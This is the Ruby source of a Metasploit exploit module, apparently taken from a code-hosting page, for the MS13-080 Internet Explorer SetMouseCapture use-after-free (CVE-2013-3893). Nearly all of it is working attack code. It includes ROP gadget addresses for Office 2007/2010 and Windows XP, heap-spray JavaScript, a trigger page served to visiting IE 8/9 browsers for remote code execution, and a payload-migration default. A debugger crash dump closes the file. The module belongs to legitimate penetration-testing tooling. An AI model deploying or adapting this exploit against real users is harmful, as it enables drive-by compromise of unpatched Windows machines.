362 lines
9.6 KiB
Ruby
362 lines
9.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free",
|
|
'Description' => %q{
|
|
This module exploits a use-after-free vulnerability that currents targets Internet
|
|
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
|
|
It was initially found in the wild in Japan, but other regions such as English,
|
|
Chinese, Korean, etc, were targeted as well.
|
|
|
|
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
|
|
reference during an event. An attacker first can setup two elements, where the second
|
|
is the child of the first, and then setup a onlosecapture event handler for the parent
|
|
element. The onlosecapture event seems to require two setCapture() calls to trigger,
|
|
one for the parent element, one for the child. When the setCapture() call for the child
|
|
element is called, it finally triggers the event, which allows the attacker to cause an
|
|
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
|
|
memory. The exact size of this memory may differ based on the version of IE. After the
|
|
free, an invalid reference will still be kept and pass on to more functions, eventuall
|
|
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
|
|
code execution) when this function attempts to use this reference to call what appears to
|
|
be a PrivateQueryInterface due to the offset (0x00).
|
|
|
|
To mimic the same exploit found in the wild, this module will try to use the same DLL
|
|
from Microsoft Office 2007 or 2010 to leverage the attack.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Exploit in the wild first spotted in Japan
|
|
'sinn3r', # Metasploit (thx binjo for the heads up!)
|
|
'Rich Lundeen' # IE8 windows xp
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3893' ],
|
|
[ 'OSVDB', '97380' ],
|
|
[ 'MSB', 'MS13-080' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
|
|
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'BrowserRequirements' =>
|
|
{
|
|
:ua_name => HttpClients::IE,
|
|
:source => /script/i
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'Windows 7 with Office 2007|2010',
|
|
{
|
|
:os_name => 'Windows 7',
|
|
:ua_ver => "9.0",
|
|
:office => /2007|2010/
|
|
}
|
|
],
|
|
[
|
|
'Windows XP with IE 8',
|
|
{
|
|
:os_name => 'Windows XP',
|
|
:ua_ver => "8.0"
|
|
}
|
|
]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependMigrate' => true,
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Sep 17 2013",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def junk
|
|
return rand_text_alpha(4).unpack("V")[0].to_i
|
|
end
|
|
|
|
def get_payload(target_info)
|
|
code = payload.encoded
|
|
rop = ''
|
|
alignment = ''
|
|
|
|
case target_info[:office]
|
|
when '2007'
|
|
alignment =
|
|
[
|
|
junk, # Alignment
|
|
].pack("V*")
|
|
|
|
rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })
|
|
|
|
when '2010'
|
|
alignment =
|
|
[
|
|
# 4 dword junks due to the add esp in stack pivot
|
|
junk,
|
|
junk,
|
|
junk,
|
|
junk,
|
|
0x51bf518b, # ret
|
|
junk # due to the ret 4 on the stack pivot
|
|
].pack("V*")
|
|
|
|
rop = generate_rop_payload('hxds', code, { 'target'=>'2010' })
|
|
end
|
|
|
|
p = alignment + rop + code
|
|
p
|
|
end
|
|
|
|
def get_exploit_html_ie9(cli, target_info)
|
|
gadgets = {}
|
|
case target_info[:office]
|
|
when '2007'
|
|
gadgets[:spray1] = 0x1af40020
|
|
|
|
# 0x31610020-0xc4, pointer to gadgets[:call_eax]
|
|
gadgets[:target] = 0x3160ff5c
|
|
|
|
# mov eax, [esi]
|
|
# push esi
|
|
# call [eax+4]
|
|
gadgets[:call_eax] = 0x51bd1ce8
|
|
|
|
# xchg eax,esp
|
|
# add byte [eax], al
|
|
# pop esi
|
|
# mov [edi+23c], ebp
|
|
# mov [edi+238], ebp
|
|
# mov [edi+234], ebp
|
|
# pop ebp
|
|
# pop ebx
|
|
# ret
|
|
gadgets[:pivot] = 0x51be4418
|
|
|
|
when '2010'
|
|
gadgets[:spray1] = 0x1a7f0020
|
|
|
|
# 0x30200020-0xc4, pointer to gadgets[:call_eax]
|
|
gadgets[:target] = 0x301fff5c
|
|
|
|
# mov eax, [esi]
|
|
# push esi
|
|
# call [eax+4]
|
|
gadgets[:call_eax] = 0x51bd1a41
|
|
|
|
# xchg eax,esp
|
|
# add eax,dword ptr [eax]
|
|
# add esp,10
|
|
# mov eax,esi
|
|
# pop esi
|
|
# pop ebp # retn 4
|
|
gadgets[:pivot] = 0x51c00e64
|
|
end
|
|
|
|
p1 =
|
|
[
|
|
gadgets[:target], # Target address
|
|
gadgets[:pivot] # stack pivot
|
|
].pack("V*")
|
|
|
|
p1 << get_payload(target_info)
|
|
|
|
# MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
|
|
p2 = [ gadgets[:call_eax] ].pack("V*")
|
|
|
|
js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
|
|
js_p1 = Rex::Text.to_unescape(p1)
|
|
js_p2 = Rex::Text.to_unescape(p2)
|
|
|
|
%Q|
|
|
<html>
|
|
<script>
|
|
#{js_property_spray}
|
|
|
|
function loadOffice() {
|
|
try{location.href='ms-help://'} catch(e){}
|
|
}
|
|
|
|
var a = new Array();
|
|
function spray() {
|
|
var obj = '';
|
|
for (i=0; i<20; i++) {
|
|
if (i==0) { obj += unescape("#{js_s1}"); }
|
|
else { obj += "\\u4242\\u4242"; }
|
|
}
|
|
obj += "\\u5555";
|
|
|
|
for (i=0; i<10; i++) {
|
|
var e = document.createElement("div");
|
|
e.className = obj;
|
|
a.push(e);
|
|
}
|
|
|
|
var s1 = unescape("#{js_p1}");
|
|
sprayHeap({shellcode:s1, maxAllocs:0x300});
|
|
var s2 = unescape("#{js_p2}");
|
|
sprayHeap({shellcode:s2, maxAllocs:0x300});
|
|
}
|
|
|
|
function hit()
|
|
{
|
|
var id_0 = document.createElement("sup");
|
|
var id_1 = document.createElement("audio");
|
|
|
|
document.body.appendChild(id_0);
|
|
document.body.appendChild(id_1);
|
|
id_1.applyElement(id_0);
|
|
|
|
id_0.onlosecapture=function(e) {
|
|
document.write("");
|
|
spray();
|
|
}
|
|
|
|
id_0['outerText']="";
|
|
id_0.setCapture();
|
|
id_1.setCapture();
|
|
}
|
|
|
|
for (i=0; i<20; i++) {
|
|
document.createElement("frame");
|
|
}
|
|
|
|
window.onload = function() {
|
|
loadOffice();
|
|
hit();
|
|
}
|
|
</script>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def get_exploit_html_ie8(cli, target_info)
|
|
code = payload.encoded
|
|
|
|
#address containing our heap spray is 0x20302020
|
|
spray_addr = "\\u2024\\u2030"
|
|
|
|
#size to fill after free is 0x50
|
|
free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2)
|
|
|
|
rop = [
|
|
0x77c3868a, # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ;
|
|
0x20302020 # pointer to stack pivot
|
|
].pack("V*")
|
|
|
|
rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code
|
|
|
|
js_rop = Rex::Text.to_unescape(rop)
|
|
|
|
%Q|
|
|
<html>
|
|
<script>
|
|
|
|
#{js_property_spray}
|
|
|
|
tt = new Array(30);
|
|
|
|
function trigger()
|
|
{
|
|
var id_0 = document.createElement("sup");
|
|
var id_1 = document.createElement("audio");
|
|
|
|
document.body.appendChild(id_0);
|
|
document.body.appendChild(id_1);
|
|
id_1.applyElement(id_0);
|
|
|
|
id_0.onlosecapture=function(e) {
|
|
document.write("");
|
|
|
|
for(i = 0; i < tt.length; i++) {
|
|
tt[i] = document.createElement('div');
|
|
tt[i].className ="#{free_fill}";
|
|
}
|
|
|
|
var s = unescape("#{js_rop}");
|
|
sprayHeap({shellcode:s});
|
|
}
|
|
|
|
id_0['outerText']="";
|
|
id_0.setCapture();
|
|
id_1.setCapture();
|
|
}
|
|
|
|
window.onload = function() {
|
|
trigger();
|
|
}
|
|
</script>
|
|
|
|
|
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
case target_info[:ua_ver]
|
|
when "8.0"
|
|
html = get_exploit_html_ie8(cli, target_info)
|
|
when "9.0"
|
|
html = get_exploit_html_ie9(cli, target_info)
|
|
end
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
|
|
end
|
|
end
|
|
|
|
=begin
|
|
|
|
hxds.dll (Microsoft® Help Data Services Module)
|
|
|
|
2007 DLL info:
|
|
ProductVersion: 2.05.50727.198
|
|
FileVersion: 2.05.50727.198 (QFE.050727-1900)
|
|
|
|
2010 DLL info:
|
|
ProductVersion: 2.05.50727.4039
|
|
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
|
|
|
|
mshtml.dll
|
|
|
|
WinXP IE8 DLL info:
|
|
ProductVersion: 8.0.6001.18702
|
|
FileVersion: 8.0.6001.18702
|
|
FileDescription: Microsoft (R) HTML Viewer
|
|
|
|
Win7 IE9 DLL info:
|
|
ProductVersion: 9.00.8112.16446
|
|
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
|
|
FileDescription: Microsoft (R) HTML Viewer
|
|
|
|
|
|
0:005> r
|
|
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34
|
|
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
MSHTML!CTreeNode::GetInterface+0xd8:
|
|
679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=????????
|
|
|
|
|
|
66e13df7 8b0e mov ecx,dword ptr [esi]
|
|
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000)
|
|
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h]
|
|
66e13e01 ffd0 call eax
|
|
|
|
=end
|